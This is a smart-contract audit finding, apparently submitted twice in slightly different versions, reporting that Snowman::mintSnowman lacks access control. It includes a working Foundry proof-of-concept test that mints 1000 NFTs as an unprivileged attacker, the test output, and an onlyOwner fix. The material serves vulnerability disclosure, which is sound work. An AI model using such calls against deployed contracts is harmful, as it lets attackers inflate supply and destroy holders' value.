Snowman::mintSnowman lacks access control, allowing any caller to mint unlimited NFTs.The Snowman contract is an ERC721 NFT collection intended to be minted exclusively through authorized protocol logic, such as the SnowmanAirdrop contract or by the contract owner during specific distribution events.
However, the mintSnowman function in src/Snowman.sol is declared with public visibility without any access control modifiers (such as OpenZeppelin's onlyOwner) or custom authorization checks.
Because there is no validation checking whether msg.sender is the contract owner or an authorized contract, any unauthenticated external actor can invoke mintSnowman directly on-chain. An attacker can specify their own address as to and an arbitrary number as quantity, minting an unlimited number of NFTs for free without participating in the airdrop or fulfilling any token/signature requirements.
Likelihood: High
Reason 1: The mintSnowman function is publicly accessible on the blockchain, allowing any actor to send an execution transaction directly without needing special privileges or off-chain signatures.
Reason 2: There are no state checks, Merkle proof verifications, or payment requirements enforced prior to calling _safeMint.
Impact: High
Impact 1: Total destruction of the NFT collection's scarcity and value, as an attacker can inflate the supply arbitrarily.
Impact 2: Complete bypass of the SnowmanAirdrop verification mechanism and Merkle tree eligibility checks.
PoC Explanation: The following Proof of Concept written in Foundry demonstrates how an unauthorized external address can mint NFTs directly from Snowman.sol:
Setup: The test environment initializes the Snowman contract, assigning its ownership to the SnowmanAirdrop contract. An unprivileged attacker address is generated via makeAddr("attacker").
Execution: The attacker simulates a transaction calling snowman.mintSnowman(attacker, 100) using Foundry's vm.prank(attacker) cheatcode.
Assertion: The test asserts assertEq(snowman.balanceOf(attacker), 100), confirming that 100 NFTs were minted directly to the attacker's account without passing through the Airdrop Merkle proof check or holding required tokens.
Mitigation Explanation: To mitigate this issue, access control must be enforced on Snowman::mintSnowman. By adding OpenZeppelin's onlyOwner modifier to the function, Solidity will automatically insert a check verifying that msg.sender == owner(). If an unauthorized account attempts to call mintSnowman, the call will revert with OwnableUnauthorizedAccount.
# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```
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